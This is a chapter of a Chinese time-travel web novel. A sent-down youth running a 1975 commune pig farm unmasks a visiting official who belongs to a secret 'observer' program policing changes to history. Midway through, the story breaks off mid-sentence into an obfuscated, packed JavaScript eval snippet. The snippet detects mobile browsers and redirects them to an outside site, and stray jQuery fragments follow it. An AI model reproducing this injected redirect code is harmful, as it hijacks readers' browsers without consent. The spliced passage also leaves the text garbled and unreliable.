腊月二十二，霜重。
清晨五点，知青点的煤油灯已经亮了三盏。林晚照坐在靠窗的铺位上，手里捏着张教授寄来的第二封信。信纸在煤油灯昏黄的光晕里泛着脆响，墨迹是省城农科院专用的蓝黑墨水，带着机关单位特有的严肃气息。
“晚照同志见字如面。匿名信一事已有结论，涉事人员系我院档案科副科长吴建国，与红星公社李国强系表兄弟关系。此人已调离原岗位，组织处理意见另附。另，项目资金五千元已于昨日汇出，汇单号……”
信写得很官方，但字里行间透着一股欲言又止的意味。林晚照的手指在“吴建国”三个字上停顿了片刻，抬起眼看向窗外。
天还没亮透，院子里那棵老槐树的轮廓在晨雾里像泼墨画。猪圈方向传来陈大牛喂食的吆喝声，声音在霜冻的空气里传得格外清晰。一切都回到了正轨——至少表面上是这样。
但她总觉得，有什么东西在暗处盯着。
手腕上的银镯忽然传来一阵细微的温热。林晚照低头，看见镯子内圈那圈几乎看不见的纹路，在昏暗光线下泛出极淡的银光。这是空间给她的警示，在过去三个月里出现过三次——第一次是她差点掉进后山那个废弃的矿井，第二次是刘委员下毒那晚，第三次就是现在。
“晚照，起这么早？”对面铺位的王晓芬揉着眼睛坐起来，棉被从肩上滑落，露出打了补丁的秋衣。
“醒了就睡不着。”林晚照把信折好塞进枕头下的铁皮盒里，“你今天不是要去公社卫生所拿药？”
“对，李秀英的咳嗽药快吃完了。”王晓芬一边穿衣服一边说，“晚照，听说公社要开表彰大会，养猪场的事要当典型宣传，真的假的？”
消息传得真快。林晚照心想，昨天下午王书记才透的口风，今天一早全村都知道了。
“王书记提了一句，还没定。”
“肯定得选你上台讲话！”王晓芬兴奋起来，“到时候穿那件列宁装，就是省城买的那件，精神！”
林晚照笑了笑，没接话。她拎起墙角的热水瓶，倒了半盆热水，热气在冷空气里腾起白雾。毛巾浸湿后敷在脸上，温热感让她清醒了些。镜子是碎了一半的，只能照见半边脸——眉毛细长，眼睛因为熬夜带着血丝，但眼神很亮，亮得有些过分。
那种亮，是知道自己走在悬崖边上还要往前走的亮。
吃过早饭，林晚照先去养猪场。新猪舍的地基已经打好了，十几个村民正在垒墙。陈大牛蹲在拌好的石灰浆旁边，手里拿着林晚照画的图纸，眉头皱得能夹死苍蝇。
“林同志，这图纸……”他抬起头，满脸为难，“这墙为啥要留这么多窟窿眼？冬天不进风吗？”
“这是通风设计。”林晚照蹲下来，捡了根树枝在地上画，“猪舍太闷容易滋生细菌，留通风口能降低发病率。冬天用草帘子挡住就行。”
陈大牛盯着地上的图看了半晌，忽然一拍大腿：“我懂了！就跟人住的房子要开窗户一个理！”
“对。”林晚照笑起来，“陈叔悟性高。”
“啥悟性，就是活干多了。”陈大牛不好意思地搓搓手，“林同志，那批新猪崽啥时候到？圈舍盖好了总不能让它们住旧的。”
“后天。”林晚照站起身，拍了拍手上的土，“省农科院育的新品种，抗病力强，长肉快。到时候您可得把看家本领都拿出来。”
正说着，村口方向传来拖拉机的突突声。声音越来越近，最后停在养猪场外面的土路上。开车的是公社的干事小赵，副驾驶座上坐着个穿灰色中山装的中年男人。
林晚照心里咯噔一下。
那男人下车时动作很稳，先整了整衣领，才朝养猪场走过来。他大概四十出头，脸型方正，戴一副黑框眼镜，镜片后的眼睛看人时带着一种审视的意味——不是恶意，更像是实验室里观察样本的那种专注。
“请问，林晚照同志在吗？”他的普通话很标准，带着省城口音。
“我就是。”林晚照迎上去。
男人从怀里掏出个工作证：“省农业科学院，技术推广处，周明远。”
工作证上的钢印在晨光里反着光。林晚照接过来仔细看了看，是真的。但她的警惕没放松——张教授的信里可没提今天会有人来。
“周同志您好，事先没接到通知，招待不周。”她递回工作证，语气客气但保持着距离。
“临时决定的。”周明远推了推眼镜，“院里对红星公社的养猪项目很重视，派我来实地考察，为后续推广收集第一手资料。”
话说得滴水不漏。但林晚照注意到，他说“实地考察”时，眼睛扫过了整个养猪场，目光在那些通风口设计上多停留了几秒。
“欢迎指导工作。”她侧身做了个请的手势，“目前新猪舍正在建设，这是图纸。”
周明远接过图纸，看得很仔细。他的手指在图纸上移动，偶尔停顿，在几个关键数据上轻轻敲击。那种敲击的节奏很特别，三长两短，像是某种习惯性动作。
林晚照的心慢慢沉下去。
她见过这种敲击节奏——在陈启明给她的那本笔记里。那是2024年某个情报机构的非语言通讯代码，意思是“确认目标”。
“设计得很科学。”周明远抬起头，脸上露出赞许的笑容，“尤其是这个通风系统，比省农科院去年推广的标准设计更合理。林同志是哪个学校毕业的？”
“高中毕业，自学的。”林晚照回答得很自然，“在省城培训时，张教授教了不少。”
“张教授啊。”周明远点点头，没再追问。他把图纸递回来，转身看向正在施工的村民，“这些工人都是本村的？”
“对，都是生产队抽调来的。”
“工分怎么算？”
“按整劳力算，一天十个工分。”林晚照一边回答，一边在心里快速盘算。这个周明远问得太细了，细得不像是单纯的技术考察。
周明远在养猪场转了一圈，问了饲料配比、防疫措施、成本核算，甚至详细到每天清理粪便的时间。林晚照一一回答，答得滴水不漏——这些数据她早就烂熟于心。
最后，周明远停在老猪舍前。那三头死猪的圈舍已经消毒过，空着，在整排猪舍里显得格外扎眼。
“听说这里出过事？”他问。
“有人投毒，已经处理了。”林晚照的语气很平静，“公社王书记亲自抓的。”
周明远“哦”了一声，没再往下问。他从随身带的挎包里掏出个笔记本，快速记了几笔。笔记本的封面是军绿色，边角已经磨白，看起来很旧。
但林晚照看见了翻开那一页的页眉——有个极小的鹰形符号，用铅笔淡淡地勾勒着，不仔细看根本发现不了。
鹰。
她的后背瞬间冒出一层冷汗。
“周同志远道而来，先去队部休息吧。”陈铁柱的声音突然从身后传来。他不知什么时候到的，肩上扛着两袋水泥，脸上还沾着石灰点，“晚照，王书记让你去公社一趟，说资金到账的事要当面说。”
这话来得及时。林晚照顺势说：“周同志，实在不好意思，公社有急事。让陈队长先陪您看看，我尽快回来。”
周明远合上笔记本：“公事要紧。我自己转转就行，不用人陪。”
话是这么说，但林晚照和陈铁柱交换了一个眼神——不能让这个人单独活动。
最后是陈大牛主动请缨：“周同志，我陪您！这养猪场的一草一木我都熟！”
等周明远跟着陈大牛往饲料房走去，林晚照才低声问陈铁柱：“队长，你怎么来了？”
“三婶跑去知青点找你，说你这里来了个‘省里的大干部’，气场不对。”陈铁柱压低声音，“怎么回事？”
“他笔记本上有鹰的标志。”林晚照说得很轻。
陈铁柱的脸色瞬间变了。
去公社的路上，林晚照一直在回想周明远的每一个细节——推眼镜的动作，敲击图纸的节奏，问问题的角度。这个人太专业了，专业得不像个普通技术员。但如果他真是“观察者”，为什么会这么明显地露出破绽？那个鹰形符号，是故意的吗？
拖拉机在土路上颠簸，路两边的麦田盖着一层薄霜，在上午的阳光下泛着细碎的银光。远处传来社员们上工的钟声，当当当，敲碎了清晨的宁静。
这是个真实的、鲜活的世界。人们在土地上劳作，为一口饱饭挣扎，为孩子的学费发愁。而她，一个来自未来的灵魂，却要在这个世界里面对一场看不见的战争。
“到了。”小赵停下车。
公社大院还是老样子，砖墙上刷着白色标语：“农业学大寨，工业学大庆”。王书记的办公室在二楼最东头，窗台上摆着两盆蒜苗，绿油油的。
王书记正在接电话，看见林晚照进来，指了指对面的椅子。电话那头的人说话声音很大，林晚照听见几个关键词——“典型”、“宣传”、“全省推广”。
挂了电话，王书记点了支烟：“资金到了，五千元，在信用社存着。取款需要你的印鉴和我的批条。”
“谢谢书记。”林晚照说。
“别谢我，是你自己争气。”王书记吐出一口烟，“不过晚照，有件事得跟你说清楚。省里要把养猪场当典型，接下来会有记者来采访，可能还有领导视察。这是好事，也是压力。”
“我明白。”
“你不明白。”王书记摇摇头，“树大招风。现在盯着这个项目的人，不止李国强一个。今天早上，县里三个部门打电话来问，都想往项目里塞人。”
林晚照坐直了身体。
“我的意思是，”王书记看着她，“项目班子你得尽快搭起来，用你自己信得过的人。等上面把人塞进来，就不好动了。”
这是掏心窝子的话。林晚照心里一暖：“书记，我今天来也是想汇报这个事。养猪场想成立一个管理小组，我拟了个名单。”
她从口袋里掏出张纸，上面写着五个人名：陈大牛（技术组长）、陈铁柱（生产协调）、三婶侄女王秀兰（后勤）、周大夫（防疫顾问）、她自己（总负责人）。
王书记看完，笑了：“你这名单，把生产队、赤脚医生、知青都囊括了，考虑得周全。行，我批了。公章我下午让文书去刻，最晚明天给你。”
正事说完，林晚照犹豫了一下，还是开口：“书记，今天省农科院来了个同志，叫周明远，您知道吗？”
“周明远？”王书记想了想，“没接到通知啊。怎么回事？”
林晚照把早上的事简单说了，隐去了鹰形符号的部分，只强调这个人问得特别细。
王书记的眉头皱起来：“我打个电话问问。”
电话打到省农科院，接电话的是张教授。林晚照坐在旁边，听见话筒里传来张教授疑惑的声音：“周明远？技术推广处没这个人啊。老王，你是不是听错了？”
办公室里的空气骤然凝固。
王书记的脸色变得严肃，他捂住话筒，看向林晚照：“你确定他叫周明远？工作证看了？”
“看了，钢印是真的。”
电话那头，张教授的声音继续传来：“等等，我查一下……有了！周明远，三个月前从外地调来的，档案在人事处，但没人见过他上班。老王，这人要是有问题，你得赶紧处理！”
挂掉电话，王书记在办公室里踱了两圈，最后停在窗前：“晚照，你立刻回去，想办法拖住他。我这就联系派出所。”
“书记，没有证据，派出所不好抓人。”林晚照冷静地说，“而且如果他真是‘那边’的人，普通派出所对付不了。”
“那你说怎么办？”
林晚照站起来：“我去会会他。如果他真是冲我来的，躲不是办法。”
“太危险！”
“在红星公社的地界上，他不敢乱来。”林晚照说，“而且，我想知道，他们到底想观察什么。”
回程的拖拉机开得飞快。林晚照坐在车斗里，寒风刮在脸上像刀割。她的脑子在高速运转——周明远如果是“观察者”，他的任务是什么？收集情报？评估威胁？还是……等待某个时机？
手腕上的银镯又开始发烫，这一次烫得惊人。林晚照低头，看见镯子内圈的纹路已经变成了暗红色，像烧红的铁丝。
这是最高级别的警示。
她闭上眼睛，意识沉入空间。黑土地上的作物长势正好，灵泉汩汩流淌。但在空间边缘的雾气里，她看见了一双眼睛——不是人的眼睛，更像是某种监控器的镜头，冰冷，没有感情。
有人在透过空间观察她。
这个认知让她浑身的血液都凉了。她迅速退出空间，睁开眼睛时，拖拉机已经快到村口。
养猪场的方向围了一群人。
林晚照跳下车跑过去，看见周明远站在人群中央，手里拿着个照相机，正在给新猪舍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854276|191601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拍照。陈大牛站在他旁边，一脸无奈。
“周同志。”林晚照走过去，声音很平静，“拍照需要经过批准，您申请了吗？”
周明远转过身，脸上还是那副温和的笑容：“林同志回来了。我只是留个资料，回去好写报告。”
“那也得按程序来。”林晚照伸出手，“相机先交给我保管，等您补完手续再还您。”
气氛一下子僵住了。
围观的村民都安静下来，看着这两个人对峙。周明远脸上的笑容慢慢淡去，他推了推眼镜，镜片后的眼睛盯着林晚照，像是在重新评估这个对手。
“如果我不交呢？”他问。
“那您就是非法拍摄国家建设项目。”林晚照寸步不让，“我有权制止。”
沉默持续了大概十秒钟。远处传来狗叫声，还有孩子追逐打闹的笑声。这些日常的声音，让眼前的对峙显得更加诡异。
最后，周明远笑了。他取下相机，递过来：“开个玩笑，林同志别介意。相机您先保管，我下午去公社补手续。”
林晚照接过相机，很沉，是德国产的徕卡，这个年代极少见。她打开后盖，里面根本没有胶卷。
“周同志，”她抬起头，“您用没装胶卷的相机，拍什么呢？”
周明远的表情第一次出现了裂痕。但很快，他又恢复了那种从容：“忘了装，年纪大了，记性不好。”
这话骗不了任何人。
林晚照把相机递给陈铁柱：“队长，收好。”然后她对周明远说，“周同志远道而来辛苦了，队部准备了午饭，咱们边吃边聊？”
这是要摊牌了。
队部的饭桌上摆着四个菜：白菜炖粉条、炒鸡蛋、腊肉炒蒜苗、萝卜汤。在这个年代，这算是很高的招待标准了。但吃饭的三个人——林晚照、陈铁柱、周明远，谁都没动筷子。
“周同志，”林晚照先开口，“您到底是谁？”
周明远夹了片腊肉，慢慢嚼着，咽下去后才说：“我是周明远，省农科院技术推广处的干部。工作证你们看过了，是真的。”
“但农科院没有您这个人。”林晚照盯着他，“张教授亲自查的。”
周明远的手顿了顿。他放下筷子，拿起桌上的毛巾擦了擦嘴，动作依然从容，但林晚照看见他擦嘴时，毛巾在嘴角多停留了一秒。
那是人在紧张时的下意识动作。
“林同志，”他终于说，“有些事，知道得太多没好处。”
“但我已经知道了。”林晚照身体前倾，压低声音，“鹰计划，观察者协议，对吗？”
周明远的瞳孔骤然收缩。
这个反应，证实了一切。
“你是怎么……”他话说到一半停住了，摇了摇头，“不对，你不应该知道这些。除非……”
“除非什么？”
周明远没有回答。他重新拿起筷子，夹了块炒鸡蛋，吃得很慢，像是在拖延时间思考。队部外面传来社员们收工的喧闹声，那些声音越热闹，屋子里的沉默就越沉重。
“林晚照同志，”他终于开口，语气完全变了，不再是那个温和的技术员，而是一种公事公办的冰冷，“你是一个异常变量。按照协议，我有权对你进行观察和评估。”
“评估什么？评估我是不是威胁？”
“评估你是否会扰乱历史进程。”周明远说得很直接，“1975年，红星公社的养猪场不应该有通风设计，不应该有科学防疫流程，更不应该在三个月内扩大到三十头猪的规模。你做的每一件事，都在改变原本的历史轨迹。”
林晚照的心跳加快，但她面上不动声色：“所以呢？你们要消除我这个‘异常’？”
“那取决于你的危险等级。”周明远从怀里掏出那个军绿色笔记本，翻开，里面密密麻麻写满了字，“过去三个月，我记录了你的所有行为。结论是，你目前的行为都在‘可接受偏差’范围内——你用这个时代的知识推动改良，没有拿出超越时代的技术，也没有试图接触高层改变大政方针。”
“所以你们只是在观察？”
“观察，评估，必要时干预。”周明远合上笔记本，“林同志，我今天的暴露是个意外，但也是给你的一个警告。你可以继续你的项目，但必须遵守三条规则：第一，不拿出1975年之后的技术；第二，不试图改变重大历史事件；第三，不向任何人透露未来信息。”
“如果我说不呢？”
周明远笑了，那个笑容没有任何温度：“那你就会消失。不是死，是消失，就像你从来没存在过一样。”
陈铁柱猛地站起来，椅子在水泥地上刮出刺耳的声音。但林晚照按住了他的手。
“我接受。”她说。
周明远有些意外：“这么干脆？”
“因为我没得选。”林晚照看着他的眼睛，“但我也有条件。你们观察可以，但不能干扰我的正常生活，不能伤害我身边的人。”
“只要你不越线，我们不会干涉。”周明远站起身，从陈铁柱手里拿回相机，“今天的事，就当没发生过。我还是省农科院的周明远，来考察项目，明天回省城写报告。”
他走到门口，又回过头：“对了，李国强那件事，是我们处理的。匿名信作者吴建国，也是我们调走的。算是给你扫清障碍的诚意。”
门关上了。
脚步声渐渐远去。
陈铁柱一拳砸在桌子上，碗筷跳起来又落下：“晚照，这到底……”
“队长，”林晚照打断他，声音很轻，“今天的事，对谁都不要说。包括三婶，包括王晓芬，任何人。”
“可是……”
“没有可是。”林晚照站起来，走到窗前。周明远的身影已经消失在村口的土路上，像一滴水融进了大海。
她知道，从今天起，她的每一步都要更加小心。
但她也知道，对方不敢轻易动她——因为她的存在本身，可能就是一个更大的计划的一部分。
“鹰计划”到底是什么？“观察者协议”又是谁制定的？他们为什么允许她这个“异常变量”存在？
这些问题暂时没有答案。
但林晚照有一种预感：答案，就藏在那个即将到来的未来里。
窗外的天空阴沉下来，又要下雪了。
养猪场的方向传来猪崽的哼叫声，新的一天又要开始。
而暗处的眼睛，还在看着。